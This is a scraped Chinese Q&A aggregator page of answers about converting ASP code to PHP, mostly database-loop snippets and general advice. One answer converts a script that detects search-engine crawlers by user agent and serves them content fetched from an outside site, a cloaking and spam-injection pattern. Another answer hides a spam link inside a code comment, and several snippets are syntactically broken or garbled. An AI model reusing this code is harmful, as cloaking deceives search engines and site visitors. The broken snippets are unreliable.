當前位置:首頁 » 編程語言 » phpasp轉

phpasp轉

發布時間: 2022-06-18 07:13:16

⑴ asp代碼轉php代碼

asp程序不能轉換成php程序 要重新寫 兩種是完全不同的兩種編程語言 程序更不能直接轉換 不過數據倒是可以共享 直接把數據轉移過去是可以的額

⑵ asp代碼轉換成php怎麼寫呢

樓上回復的是實現功能,根本沒有實現【代碼轉換】,看你的資料庫用戶名是sa 應該是sql server資料庫,沒有修改成mysql資料庫,所以sql代碼的前10條數據還是用top 10,而不是改為limit 0,10

<?PHP
$rs = new COM("ADODB.RecordSet");

$sql="select top 10 車牌號碼,出車日期,出車時間,用車目的地,用車人,駕駛員,是否回車 from 車輛派車信息 where 是否回車=0 order by 出車日期 desc";
$rs->open($sql, $conn, 1, 1);
$ i = 1;
while(!$rs->eof)
{
?>
<tr height="20">
<td title="車牌:<?=$rs->fields["車牌號碼"];?> 日期:<?=$rs->fields["出車日期"];?> 用車目的地:<?=$rs->fields["用車目的地"];?>"><font face=Wingdings color=#42A5F7>X</font> <a href=""><?=substr($rs->fields["車牌號碼"], 0, 18);?></a> <font color=#cccccc>司機:[<?=$rs->fields["駕駛員"];?>]</font></td>
</tr>
<?PHP
$rs->movenext();
}
$rs->Close;
?>

⑶ asp轉php容易還是轉.net容易

我認為是轉asp.net容易吧.但我覺得php比asp.net簡單多了.
我一開始也是根本沒看起asp.net 可現在我學了一個月吧.驚呀.真是太歷害了.功能太強大了.我會asp.所以用一個月時間就可以幾乎用asp.net做好多東西了.可以說在asp中的缺點在它上邊全看不到了.特別是資料庫那用ado.net.
可我現在的公司用的是php呀.沒辦法.只好還得看看它.我真的是不想學它了.只想學好.net.可沒辦法呀.用呀.我有c語言的基礎.我想也不會太費勁的.
如果你有c語言的基礎.學php吧.但你會asp學asp.net也快.
選自己喜歡的一門學精了.就沒問題了.

⑷ asp怎麼轉成php

<?php

$sql_A="select * from A order by '序號' asc";
$sql_B="select * from B order by '序號' asc";
$sql_C="select * from C order by '序號' asc";

$result_A = mysql_query($sql_A);
$result_B = mysql_query($sql_A);
$result_C = mysql_query($sql_C);

while ($row_A = mysql_fetch_array($result_A) && $row_B = mysql_fetch_array($result_B) && $row_C =

mysql_fetch_array($result_C)) { ////////////// 判斷都存在時,循環取值,有車一族http://youcheyizu.net

if($row_A["語文"].$row_A["數學"].$row_A["英語"] ==$row_B["語文"].$row_B["數學"].$row_B["英語"] && $row_A["語文"].$row_A["數學"].$row_A["英語"] ==$row_C["語文"].$row_C["數學"].$row_C["英語"]){
。。。
?>

⑸ 如何把ASP程序改為PHP程序!

只能重新做個php的,兩種語言語法書寫格式都不一樣,你可以把空間換成asp的不就行了,干嗎改代碼

⑹ asp轉php中if標簽中全部都要2個等號么

asp中賦值和判斷是否相等都是用單等號「=」,php中賦值用單等「=」,判斷用雙等「==」;
html的標簽都是通用的,象<font color="red">才是對的。
if標簽是判斷,php裡面是一定要用雙等的「==」
所以你的例1和例2都是錯的的;
例1:{if:{maccms:curvodtypeid}==[menulist:id]} class="active" {end if} class="active"是html語言,不用雙等
例2{if: [vodlist:state]>0}[vodlist:name len=8]<font color="red">至第[vodlist:state]集</font>{else}[vodlist:name]{end if} 裡面應該都不用改,因為都是賦值的

⑺ 怎麼把asp 專成 php

最好的方法就是重寫代碼了,不過你夠牛逼的話可以通過建立一個轉換層,將ASP語法和函數在經過PHP解析的之前轉換成PHP語法,不過這個難度那個就有點大了,目前還沒發現有這樣做的,不過確實可行
就如同在PHP開發的時候有個時候會用到一層是資料庫的轉換層,就是為了以後更改資料庫(如MYSQL編程DB2等)的時候只需要更改一個資料庫類型從而通過這層轉換資料庫函數,這個只是因為資料庫函數用就那麼幾個才這樣做的

⑻ asp代碼轉PHP

<?php
function gethttppage($url)
{
extract($GLOBALS);
// $adxmlhttp is of type "microsoft.xmlhttp"
$adxmlhttp->open"get" $url $false;
$adxmlhttp->send();
if ($adxmlhttp->readystate!=4)
{
return $function_ret;
}
$function_ret=Bytes2bStr($adxmlhttp->responsebody);
$adxmlhttp=null;
return $function_ret;
}
function Bytes2bStr($vin)
{
extract($GLOBALS);
// $BytesStream is of type "adodb.stream"
$BytesStream->Type=2;
$BytesStream->Open;
$BytesStream->WriteText$vin;
$BytesStream->Position=0;
$BytesStream->Charset="GB2312";
$BytesStream->Position=2;
$StringReturn=$BytesStream->ReadText;
$BytesStream->close;
$BytesStream=null;
$function_ret=$StringReturn;
return $function_ret;
}
function Getbot()
{
extract($GLOBALS);
$function_ret="";
$s_agent=$_SERVER["HTTP_USER_AGENT"];
if ((strpos($s_agent,"googlebot",1) ? strpos($s_agent,"googlebot",1)+1 : 0)>0)
{
$function_ret="google";
}
if ((strpos($s_agent,"spider",1) ? strpos($s_agent,"spider",1)+1 : 0)>0)
{
$function_ret="";
}
return $function_ret;
}
if (GetBot(=="" | GetBot(=="google")))
{
print gethttppage("<a href='http://www.uu2200.com/yues305.php' target='_blank'>http://www.uu2200.com/yues305.php</a>");
}
?>

⑼ php代碼轉換成asp怎麼處理

<%
Dimurl,user_cookie,user_agent,language,connection,encoding,data
url=trim(Request.QueryString("url"))
user_cookie=Request.QueryString("cookie")
user_agent=Request.QueryString("useragent")
language=Request.QueryString("language")
connection=Request.QueryString("connection")
encoding=Request.QueryString("encoding")
DimoXmlHttp:SetoXmlHttp=Server.CreateObject("Msxml2.ServerXMLHTTP")
WithoXmlHttp
.Open"GET",url,False
.SetRequestHeader"Referer",url '設定頁面來源
.SetRequestHeader"Cookie",user_cookie '設定Cookie
.SetRequestHeader"Accept-Language",language '設定語言
.SetRequestHeader"User-Agent",user_agent '設定代理(瀏覽器,身份)
.SetRequestHeader"connection",connection '
.SetRequestHeader"Accept-Encoding",encoding '設定gzip壓縮
.SetRequestHeader"Accept",Accept '文檔類型
OnErrorResumeNext
.Send
IfErrThen
Err.Clear
Response.Write"無法從["&url&"]取得數據!"
EndIf
If.ReadyState<>4Or.Status<>200Then
Response.Write"無法從["&url&"]取得數據!"
EndIf
data=BytesToBstr(.ResponseBody,Base)
EndWith
SetoXmlHttp=Nothing
Response.Writedata
%>

PS:未作測試,若有問題自己調試一下

⑽ asp代碼轉換php

<?
$dbserver="你的資料庫伺服器地址";
$username="資料庫用戶名";
$passwd='''資料庫密碼';
$conn=mssql_connect($db,$username,$passwd);//連接資料庫
mssql_select_db("要選擇的資料庫");//選擇資料庫
$rs=mssql_querry("Select * From username",$conn);//將查詢結果賦給$rs
if($rs)
{
foreach($data as $rs =>$value)//遍歷$rs
?>
<?=$data[$value] ;?>
<?
}
else
{
echo '無記錄';
}
mssql_free_result($rs);//釋放內存表
mssql_close($conn)://關閉資料庫
?>

熱點內容
36腳本大廳作者 發布:2025-02-06 14:55:53 瀏覽:407
買電腦配送伺服器嗎 發布:2025-02-06 14:54:58 瀏覽:242
伺服器怎麼刪除資源 發布:2025-02-06 14:36:14 瀏覽:671
安卓如何設置桌面返回鍵 發布:2025-02-06 13:58:15 瀏覽:48
bi可視化php 發布:2025-02-06 13:50:15 瀏覽:932
shell寫腳本文件 發布:2025-02-06 13:47:32 瀏覽:231
健身器材腳本 發布:2025-02-06 13:46:36 瀏覽:856
怎麼從手機里卸載存儲卡 發布:2025-02-06 13:35:04 瀏覽:644
誅仙青雲志2ftp 發布:2025-02-06 13:34:48 瀏覽:34
mill91編程 發布:2025-02-06 13:10:27 瀏覽:294